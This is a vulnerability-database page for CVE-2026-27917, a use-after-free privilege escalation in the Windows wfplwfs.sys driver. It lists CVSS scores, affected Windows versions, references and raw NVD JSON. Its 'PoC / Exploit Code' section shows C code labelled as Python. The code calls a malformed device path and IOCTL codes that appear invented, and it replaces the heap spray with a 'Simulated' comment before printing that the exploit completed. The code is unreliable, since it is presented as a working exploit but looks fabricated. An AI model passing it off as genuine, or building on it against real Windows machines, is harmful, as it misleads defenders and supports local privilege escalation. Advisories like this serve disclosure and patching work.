CVE-2026-27917

Description

Use after free in Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score

7.0

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:arm64:* - VULNERABLE

Windows 10 (多个版本)

Windows 11 (多个版本)

Windows Server 2016

Windows Server 2019

Windows Server 2022

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <windows.h>
#include <stdio.h>

// Vulnerability: Use After Free in wfplwfs.sys
// This PoC demonstrates the logic to trigger the UAF condition.

#define DEVICE_NAME "\\.\\wfplwfs_device"
#define IOCTL_FREE_OBJ 0x222003
#define IOCTL_USE_OBJ  0x222004

int main() {
    HANDLE hDevice = CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open device. Error: %d\n", GetLastError());
        return 1;
    }

    DWORD bytesReturned;
    BYTE inputBuffer[0x20] = {0};
    BYTE outputBuffer[0x20] = {0};

    printf("[*] Triggering object free (Use After Free condition)...\n");
    
    // Step 1: Send IOCTL to trigger the object free in the driver
    DeviceIoControl(hDevice, IOCTL_FREE_OBJ, inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL);

    // Step 2: Heap Spray (Simulated)
    // Attacker would allocate memory to occupy the freed space with controlled payload
    printf("[*] Allocating memory to reclaim freed object...\n");
    
    // Step 3: Trigger the use of the freed pointer
    printf("[*] Triggering use of freed pointer to elevate privileges...\n");
    DeviceIoControl(hDevice, IOCTL_USE_OBJ, inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL);

    printf("[+] Exploit sequence completed.\n");
    CloseHandle(hDevice);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27917
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27917
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27917/
[4] VulDB https://vuldb.com/cve/CVE-2026-27917
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27917

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27917", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:17:00.233", "lastModified": "2026-04-22T17:56:16.713", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.9060", "matchCriteriaId": "158C16A3-547E-4130-8428-8E429C37E573"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.9060", "matchCriteriaId": "58E1A340-D49A-4EBB-A750-876922ACD5CA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8644", "matchCriteriaId": "64248504-2307-45FC-8FF3-7A227CFD8675"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8644", "matchCriteriaId": "9B1465B1-BDE6-4634-8F12-43F71D68A4D6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.19044.7184", "matchCriteriaId": "88A175C4-E033-4FE7-B2BF-8BAE14321BC4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19044.7184", "matchCriteriaId": "86DBF14A-F486-4FE7-9126-D1D54952FC6C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.19044.7184", "matchCriteriaId": "C375372B-D3D4-4B11-AAD8-69AC344C24BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.19045.7184", "matchCriteriaId": "8CE2E268-E776-4697-9E43-33ABA4CDBE05"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19045.7184", "matchCriteriaId": "269B8E88-6473-41DD-BA33-D9184B82CA58"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.19045.7184", "matchCriteriaId": "FCBB431B-EF21-4454-BDA3-D8F276BE7A64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.22631.6936", "matchCriteriaId": "B33CE091-B873-4C30-BA05-54A8C1839212"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.22631.6936", "matchCriteriaId": "E3AF28F3-D486-4B88-9E0E-371241024174"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26100.8246", "matchCriteriaId": "94EB36C7-1FF2-4B44-AD91-F3540F09393E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26100.8246", "matchCriteriaId": "14B23C3F-C8AC-491A-BCA5-EB6982C8F9E9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26200.8246", "matchCriteriaId": "361B5DAB-8D1F-45D7-A33C-F49EBA56B5F8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26200.8246", "matchCriteriaId": "ADC6CE99-AB5D-4DD5-82A9-892366C4B2FD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_26h1:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.28000.1836", "matchCriteriaId": "690E74A8-E72C-47B6-96EB-37C48D69A635"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_26h1:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.28000.1836", "matchCriteriaId": "13A01FA1-08DC-4E33-9FFC-AB4BCD9634CA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.9060", "matchCriteriaId": "982DB0CA-5196-4E42-B2F7-994BE8179715"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionE ... 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